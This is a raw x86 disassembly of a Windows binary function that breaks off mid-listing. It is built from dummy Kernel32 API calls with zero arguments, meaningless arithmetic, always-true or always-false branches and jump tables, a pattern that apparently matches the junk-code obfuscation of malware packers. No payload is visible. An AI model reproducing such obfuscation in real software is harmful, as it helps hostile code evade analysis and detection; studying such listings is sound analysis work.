push ecx
call fcn.004192c0
movzx esi, al
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov edi, eax
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
call fcn.00415920
lea edi, [edi + eax + 0x74df6]
push 0
push 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [edi + eax - 0xa396c]
or esi, ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov edx, dword [ebp - 0x10c]
lea eax, [edx + eax + 0x66b64]
or esi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
or esi, eax
mov dword [ebp - 0x144], esi
mov ecx, 0x6a24b
sub ecx, dword [ebp - 0x10c]
mov dword [ebp - 0x144], ecx
mov edx, 1
test edx, edx
je 0x420de7
push 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
movzx ecx, byte [ebp - 0x81]
lea esi, [eax + ecx + 0x77041]
or esi, 0x7947f
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
call fcn.00417b10
mov edi, eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
sub edi, eax
or esi, edi
or esi, 0x66526
mov dword [ebp - 0x144], esi
jmp 0x420e15
mov ecx, dword [ebp - 0x10c]
add ecx, 0x160ad
or ecx, 0x63596
movzx edx, byte [ebp - 0x81]
or ecx, edx
mov eax, dword [ebp - 0x10c]
and eax, 0x537a5
or ecx, eax
mov dword [ebp - 0x144], ecx
movzx ecx, byte [ebp - 0x81]
cmp ecx, 0x3012e
jl 0x420e41
mov edx, dword [ebp - 0x10c]
cmp edx, dword [ebp - 0x10c]
jne 0x420e7d
movzx eax, word [ebp - 0xac]
cmp eax, dword [ebp - 0x10c]
jne 0x420e7d
mov ecx, 0x75390
sub ecx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x10c]
lea esi, [ecx + edx + 0x3cd0]
sub esi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
add esi, eax
mov dword [ebp - 0x144], esi
jmp 0x420eb1
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov ecx, dword [ebp - 0x10c]
lea esi, [eax + ecx + 0x613dd]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
movzx ecx, word [ebp - 0xac]
shl eax, cl
and esi, eax
mov dword [ebp - 0x144], esi
call fcn.00401400
mov ecx, dword [ebp - 0x10c]
xor esi, esi
add eax, ecx
adc edx, esi
mov dword [ebp - 0x144], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
add eax, dword [ebp - 0x10c]
and eax, dword [ebp - 0x10c]
mov dword [ebp - 0x144], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
mov edx, dword [ebp - 0x10c]
lea eax, [eax + edx + 0xbdeb1]
movzx ecx, word [ebp - 0xac]
sub eax, ecx
add eax, dword [ebp - 0x10c]
mov esi, eax
xor edi, edi
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.00419610
mov ebx, eax
mov eax, edx
add ebx, 0xfffc87c1
adc eax, 0xffffffff
sub ebx, 0x336e8
sbb eax, 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [ebp - 0x2d8], eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
xor ecx, ecx
and ebx, eax
mov eax, dword [ebp - 0x2d8]
and eax, ecx
mov edx, dword [ebp - 0x10c]
xor ecx, ecx
and ebx, edx
and eax, ecx
or esi, ebx
or edi, eax
mov dword [ebp - 0x144], esi
movzx edx, word [ebp - 0xac]
push edx
movzx eax, word [ebp - 0x144]
push eax
call fcn.00415920
test eax, eax
je 0x421035
movzx ecx, byte [ebp - 0x81]
cmp ecx, 0xbdf9
jg 0x421035
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0x5e38e
je 0x421035
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx cx, byte [ebp - 0x81]
movzx edx, cx
push edx
movzx eax, byte [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, word [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x144]
push edx
call fcn.00419480
movzx eax, ax
cmp dword [ebp - 0x10c], eax
je 0x421079
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
add eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10c]
lea esi, [eax + ecx - 0x73760]
sub esi, dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
sub esi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
add esi, eax
mov dword [ebp - 0x144], esi
jmp 0x42114e
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.00407440
movzx esi, ax
add esi, 0x11bcc
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, word [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 0xac]
push ecx
call fcn.004040a0
mov edi, eax
mov edx, dword [ebp - 0x10c]
sub edx, 0x304a0
and edi, edx
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x10c]
and edi, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
xor edi, eax
or esi, edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, 0xf0a0
sub edi, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
sub edi, eax
sub edi, 0x77c86
or esi, edi
mov dword [ebp - 0x144], esi
movzx ecx, word [ebp - 0xac]
mov edx, 0x4990c
sub edx, ecx
movzx eax, word [ebp - 0xac]
add edx, eax
mov dword [ebp - 0x144], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
add eax, 0x7de17
mov ecx, dword [ebp - 0x10c]
sub ecx, 0x6a2ba
or eax, ecx
mov esi, eax
xor edi, edi
mov ebx, dword [ebp - 0x10c]
xor eax, eax
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [ebp - 0x2dc], eax
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
add eax, 0x4b055
xor edx, edx
sub eax, dword [ebp - 0x70]
sbb edx, dword [ebp - 0x6c]
and ebx, eax
mov eax, dword [ebp - 0x2dc]
and eax, edx
or esi, ebx
or edi, eax
mov ebx, dword [ebp - 0x10c]
add ebx, 0xe8c6e
and ebx, 0x59bb8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
sub eax, 0x455a2
and ebx, eax
xor eax, eax
or esi, ebx
or edi, eax
mov word [ebp - 0xac], si
cmp dword [ebp - 0x10c], 0x29fc4
je 0x421234
mov ecx, dword [ebp - 0x10c]
cmp ecx, dword [ebp - 0x10c]
je 0x421234
cmp dword [ebp - 0x10c], 0x48b30
je 0x421234
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
cmp eax, 0x621bc
je 0x421234
xor edx, edx
je 0x421266
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.00417b10
mov edx, dword [ebp - 0x10c]
sub edx, eax
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x10c]
or edx, eax
mov dword [ebp - 0x144], edx
jmp 0x42127b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
add eax, 0x5e9f3
mov byte [ebp - 0x81], al
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileTime]
cmp eax, 0x117c0
jne 0x4212bc
xor ecx, ecx
je 0x4212bc
call fcn.004174f0
cmp eax, 0x417ad
jne 0x4212bc
movzx edx, word [ebp - 0xac]
test edx, edx
jne 0x4212bc
mov eax, 0x7dfe
mov word [ebp - 0xac], ax
jmp 0x42134c
mov ecx, dword [ebp - 0x10c]
sub ecx, dword [ebp - 0x10c]
mov esi, ecx
xor edi, edi
mov edx, dword [ebp - 0x10c]
sub edx, dword [ebp - 0x10c]
mov ebx, edx
xor eax, eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx cx, byte [ebp - 0x81]
movzx edx, cx
push edx
mov ecx, dword [ebp - 0x144]
push ecx
mov dword [ebp - 0x2e0], eax
call fcn.00406400
add ebx, eax
mov eax, dword [ebp - 0x2e0]
adc eax, edx
mov edx, dword [ebp - 0x10c]
xor ecx, ecx
sub ebx, edx
sbb eax, ecx
and esi, ebx
and edi, eax
mov edx, dword [ebp - 0x10c]
xor eax, eax
or esi, edx
or edi, eax
or esi, 0x3caaf
or esi, 0x20828
mov dword [ebp - 0x144], esi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov esi, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
sub esi, eax
xor edi, edi
sub esi, dword [ebp - 0x70]
sbb edi, dword [ebp - 0x6c]
sub esi, 0x7f2c9
sbb edi, 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FreeUserPhysicalPages]
mov ebx, 0x729d4
sub ebx, eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.00415540
add eax, 0x61108
push 0
push 0
push 0
push 0
push 0
mov dword [ebp - 0x2e4], eax
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
mov ecx, dword [ebp - 0x2e4]
sub ecx, eax
add ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x10c]
and ebx, ecx
xor edx, edx
or esi, ebx
or edi, edx
mov dword [ebp - 0x144], esi
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00404550
movzx esi, al
movzx eax, byte [ebp - 0x81]
mov ecx, dword [ebp - 0x10c]
sub ecx, eax
and esi, ecx
mov edi, 0x14a47
sub edi, dword [ebp - 0x10c]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, eax
shl edi, cl
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
add eax, dword [ebp - 0x10c]
movzx edx, word [ebp - 0xac]
lea eax, [eax + edx - 0x7f61]
mov ecx, dword [ebp - 0x10c]
shr eax, cl
and edi, eax
or esi, edi
mov dword [ebp - 0x144], esi
mov ecx, 0x66956
sub ecx, dword [ebp - 0x10c]
and ecx, 0x4fb
xor esi, esi
mov edi, dword [ebp - 0x10c]
xor ebx, ebx
movzx eax, word [ebp - 0xac]
cdq
add eax, dword [ebp - 0x70]
mov dword [ebp - 0x2e8], esi
mov esi, dword [ebp - 0x6c]
adc esi, edx
movzx edx, word [ebp - 0xac]
mov dword [ebp - 0x2ec], eax
mov eax, edx
cdq
mov dword [ebp - 0x2f0], ecx
mov ecx, dword [ebp - 0x2ec]
sub ecx, eax
sbb esi, edx
and edi, ecx
and ebx, esi
and edi, 0x9020
and ebx, 0
mov ecx, dword [ebp - 0x2f0]
xor ecx, edi
mov esi, dword [ebp - 0x2e8]
xor esi, ebx
mov dword [ebp - 0x144], ecx
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x2f4], eax
mov ecx, dword [ebp - 0x2f4]
sub ecx, 0x32
mov dword [ebp - 0x2f4], ecx
cmp dword [ebp - 0x2f4], 0xae
ja case.0x421503.1
mov edx, dword [ebp - 0x2f4]
movzx eax, byte [edx + 0x43c94c]
jmp dword [eax*4 + 0x43c934]
movzx edx, word [ebp - 0xac]
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10c]
shr eax, cl
and edx, eax
mov dword [ebp - 0x88], edx
jmp 0x421667
mov ecx, dword [ebp - 0x10c]
add ecx, dword [ebp - 0x10c]
and ecx, 0x1ecbd
mov edx, dword [ebp - 0x10c]
and edx, 0x1e81b
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x10c]
and edx, eax
or ecx, edx
xor edx, edx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], edx
jmp 0x421667
mov eax, dword [ebp - 0x10c]
sub eax, 0x11c47
mov esi, eax
xor edi, edi
movzx ebx, byte [ebp - 0x81]
sub ebx, dword [ebp - 0x10c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
add ebx, eax
xor eax, eax
sub ebx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x10c]
xor edx, edx
sub ebx, ecx
sbb eax, edx
sub ebx, 0x53026
sbb eax, 0
push 0
push 0
push 0
push 0
push 0
mov dword [ebp - 0x2f8], eax
call sub.KERNEL32.dll_Toolhelp32ReadProcessMemory
xor ecx, ecx
add ebx, eax
mov eax, dword [ebp - 0x2f8]
adc eax, ecx
and esi, ebx
and edi, eax
mov word [ebp - 0xac], si
jmp 0x421667
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
sub eax, dword [ebp - 0x10c]
mov byte [ebp - 0x81], al
jmp 0x421667
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
mov esi, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
add esi, eax
mov edx, 0x7fbdc
sub edx, dword [ebp - 0x10c]
movzx eax, word [ebp - 0xac]
sub edx, eax
and esi, edx
mov dword [ebp - 0x88], esi
jmp 0x421667
movzx ecx, byte [ebp - 0x144]
push ecx
call fcn.00407ab0
movzx edx, al
mov eax, dword [ebp - 0x10c]
sub eax, edx
movzx ecx, word [ebp - 0xac]
add eax, ecx
mov word [ebp - 0xac], ax
mov esi, 0x54017
sub esi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
add esi, eax
and esi, dword [ebp - 0x10c]
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
call fcn.00407e60
movzx ecx, ax
add ecx, 0x330cb
or esi, ecx
mov dword [ebp - 0x144], esi
xor edx, edx
je 0x421736
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10c]
lea edx, [ecx + eax - 0x175ec]
mov esi, edx
xor edi, edi
add esi, dword [ebp - 0x70]
adc edi, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
sub esi, eax
sbb edi, ecx
sub esi, 0xbeed
sbb edi, 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
xor edx, edx
sub esi, eax
sbb edi, edx
mov dword [ebp - 0x144], esi
jmp 0x4217ab
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.0043dd10
movzx edx, ax
mov eax, dword [ebp - 0x10c]
lea esi, [eax + edx - 0x77970]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov edi, eax
sub edi, 0x98b9
call fcn.004187f0
movzx ecx, al
sub edi, ecx
sub edi, dword [ebp - 0x10c]
sub edi, 0x57637
or esi, edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, 0x1c2f1
sub edx, eax
or esi, edx
mov dword [ebp - 0x144], esi
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10c]
lea edx, [ecx + eax - 0xac3a]
or edx, 0x772bc
mov byte [ebp - 0x81], dl
movzx esi, byte [ebp - 0x81]
add esi, 0x121191
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x70]
push edx
call fcn.00415cf0
movzx ecx, word [ebp - 0xac]
sub eax, ecx
and eax, 0xbf39
or esi, eax
xor edx, edx
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edx
push 0
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
sub eax, dword [ebp - 0x10c]
or eax, 0x3979c
mov dword [ebp - 0x144], eax
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
movzx eax, ax
cmp eax, 0x63388
jne 0x421879
xor ecx, ecx
je 0x421879
movzx esi, word [ebp - 0xac]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
cmp esi, eax
je 0x4218c0
movzx edx, word [ebp - 0xac]
push edx
movzx eax, byte [ebp - 0xac]
push eax
movzx ecx, byte [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
call section..text
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], edx
mov ecx, dword [ebp - 0x300]
or ecx, dword [ebp - 0x2fc]
jne 0x421908
movzx esi, word [ebp - 0xac]
add esi, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
lea ecx, [eax + edx - 0x23a0e]
and esi, ecx
call fcn.004187f0
movzx edx, al
add edx, 0x6e0b3
mov ecx, dword [ebp - 0x10c]
shl edx, cl
sar edx, 0xfc
or esi, edx
mov dword [ebp - 0x144], esi
jmp 0x4219a9
mov esi, dword [ebp - 0x10c]
sub esi, dword [ebp - 0x10c]
shl esi, 0x3f
or esi, 0x143ca
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov edi, eax
sub edi, dword [ebp - 0x10c]
sub edi, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
call fcn.004050c0
movzx eax, ax
sub edi, eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
movzx edx, byte [ebp - 0xac]
push edx
call fcn.00405f00
movzx eax, al
sub edi, eax
or esi, edi
or esi, 0x7e6f2
mov dword [ebp - 0x144], esi
mov esi, dword [ebp - 0x10c]
and esi, 0x4752d
movzx ecx, word [ebp - 0xac]
mov edx, dword [ebp - 0x10c]
lea eax, [edx + ecx + 0x4d309]
movzx ecx, byte [ebp - 0x81]
add ecx, 0x3002b
shl eax, cl
and esi, eax
or esi, 0x3c539
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
sub eax, 0x6f29b
or esi, eax
xor ecx, ecx
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x10c]
mov ecx, edx
xor esi, esi
add ecx, dword [ebp - 0x70]
adc esi, dword [ebp - 0x6c]
movzx eax, word [ebp - 0xac]
cdq
add ecx, eax
adc esi, edx
movzx edx, word [ebp - 0xac]
and edx, dword [ebp - 0x10c]
xor eax, eax
or ecx, edx
or esi, eax
mov dword [ebp - 0x144], ecx
mov esi, 0x795db
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea esi, [esi + eax + 0x63bf5]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
and eax, dword [ebp - 0x10c]
or esi, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
add eax, 0x94272
or esi, eax
mov dword [ebp - 0x144], esi
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.00415540
movzx edx, word [ebp - 0xac]
cmp eax, edx
je 0x421aa5
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
cmp dword [ebp - 0x10c], eax
jbe 0x421b4e
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
mov esi, eax
movzx eax, byte [ebp - 0x81]
add esi, eax
sub esi, dword [ebp - 0x10c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
and esi, eax
movzx edi, word [ebp - 0xac]
sub edi, 0x289a7
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.004180b0
sub edi, eax
and esi, edi
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
mov edx, dword [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x70]
push eax
call fcn.00415540
sub eax, 0x99895
or esi, eax
or esi, 0x131e3
mov word [ebp - 0xac], si
jmp 0x421bb5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
add esi, 0x6f159
sub esi, dword [ebp - 0x10c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
lea esi, [esi + eax - 0x54d67]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edi, eax
sub edi, dword [ebp - 0x10c]
add edi, 0x207fd
sub edi, dword [ebp - 0x10c]
push 0
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
add edi, eax
or esi, edi
mov dword [ebp - 0x144], esi
movzx ecx, word [ebp - 0xac]
push ecx
movzx dx, byte [ebp - 0x81]
movzx eax, dx
push eax
call fcn.00415920
test eax, eax
jae 0x421bf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
cmp eax, dword [ebp - 0x10c]
jne 0x421c05
cmp dword [ebp - 0x10c], 0x7cf9b
jne 0x421c05
movzx ecx, byte [ebp - 0x81]
add ecx, 0x35f01
mov dword [ebp - 0x144], ecx
jmp 0x421c6a
movzx eax, byte [ebp - 0x81]
cdq
mov esi, eax
mov edi, edx
mov ebx, dword [ebp - 0x10c]
xor eax, eax
movzx edx, word [ebp - 0x144]
push edx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov dword [ebp - 0x304], eax
call section..text
sub ebx, eax
mov eax, dword [ebp - 0x304]
sbb eax, edx
sub ebx, 0x7a47
sbb eax, 0
or esi, ebx
or edi, eax
mov word [ebp - 0xac], si
movzx esi, word [ebp - 0xac]
add esi, 0x736b3
mov edi, dword [ebp - 0x10c]
add edi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
add edi, eax
or esi, edi
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
movzx ecx, byte [ebp - 0x81]
lea edx, [eax + ecx - 0x380f1]
and edx, 0x7fecc
or esi, edx
mov word [ebp - 0xac], si
mov eax, dword [ebp - 0x70]
add eax, 0x6e813
mov ecx, dword [ebp - 0x6c]
adc ecx, 0
mov dword [ebp - 0x144], eax
mov edx, dword [ebp - 0x10c]
mov dword [ebp - 0x144], edx
movzx esi, word [ebp - 0xac]
movzx eax, byte [ebp - 0x81]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.00405fd0
movzx edx, ax
lea esi, [esi + edx - 0x1c9ed]
movzx eax, byte [ebp - 0x70]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
call fcn.00405ae0
movzx ecx, ax
add esi, ecx
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SearchPathA]
lea edx, [esi + eax - 0x1ec9]
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x308], eax
mov ecx, dword [ebp - 0x308]
sub ecx, 0xc
mov dword [ebp - 0x308], ecx
cmp dword [ebp - 0x308], 0xba
ja case.0x421dac.1
mov edx, dword [ebp - 0x308]
movzx eax, byte [edx + 0x43ca14]
jmp dword [eax*4 + 0x43c9fc]
movzx ecx, word [ebp - 0xac]
movzx edx, byte [ebp - 0x81]
lea esi, [ecx + edx - 0x6209b]
sub esi, dword [ebp - 0x10c]
movzx eax, word [ebp - 0x88]
push eax
movzx ecx, byte [ebp - 0x88]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
call fcn.004049b0
movzx eax, ax
add esi, eax
xor edi, edi
movzx ecx, word [ebp - 0x88]
push ecx
call fcn.004057a0
mov ebx, dword [ebp - 0x70]
sub ebx, eax
mov eax, dword [ebp - 0x6c]
sbb eax, edx
sub ebx, 0x77a49
sbb eax, 0
movzx ecx, word [ebp - 0xac]
movzx dx, byte [ebp - 0x81]
movzx edx, dx
push edx
mov edx, dword [ebp - 0x88]
push edx
mov dword [ebp - 0x30c], eax
mov dword [ebp - 0x310], ecx
call fcn.00417b10
mov ecx, dword [ebp - 0x310]
sub ecx, eax
mov eax, dword [ebp - 0x10c]
lea ecx, [ecx + eax - 0x544ef]
mov eax, ebx
mov ebx, dword [ebp - 0x30c]
mov edx, ebx
call fcn.0043dfb0
mov ebx, eax
mov eax, edx
movzx ecx, word [ebp - 0x70]
push ecx
movzx edx, word [ebp - 0xac]
push edx
movzx ecx, word [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x88]
push edx
movzx ecx, word [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x88]
push edx
movzx ecx, word [ebp - 0x88]
push ecx
mov dword [ebp - 0x314], eax
call fcn.004180b0
xor edx, edx
and ebx, eax
mov eax, dword [ebp - 0x314]
and eax, edx
or esi, ebx
or edi, eax
mov word [ebp - 0xac], si
jmp 0x42205e
movzx esi, word [ebp - 0xac]
movzx eax, word [ebp - 0x88]
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx ecx, byte [ebp - 0x88]
push ecx
call fcn.00404ff0
movzx edx, ax
sub edx, 0x319b4
movzx eax, word [ebp - 0xac]
sub edx, eax
or esi, edx
movzx edi, byte [ebp - 0x81]
add edi, 0x800a3
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov ebx, eax
add ebx, 0x2d53
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
sub ebx, eax
and edi, ebx
or esi, edi
mov dword [ebp - 0x88], esi
jmp 0x42205e
mov esi, 0x15d18
sub esi, dword [ebp - 0x10c]
or esi, 0xffff0729
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
and eax, dword [ebp - 0x10c]
or esi, eax
mov dword [ebp - 0x88], esi
jmp 0x42205e
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov esi, 0x60f3d
sub esi, eax
mov edi, dword [ebp - 0x10c]
sub edi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
sub edi, eax
movzx ecx, byte [ebp - 0x81]
lea edi, [edi + ecx - 0xacd02]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
mov ebx, eax
movzx edx, byte [ebp - 0x88]
push edx
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
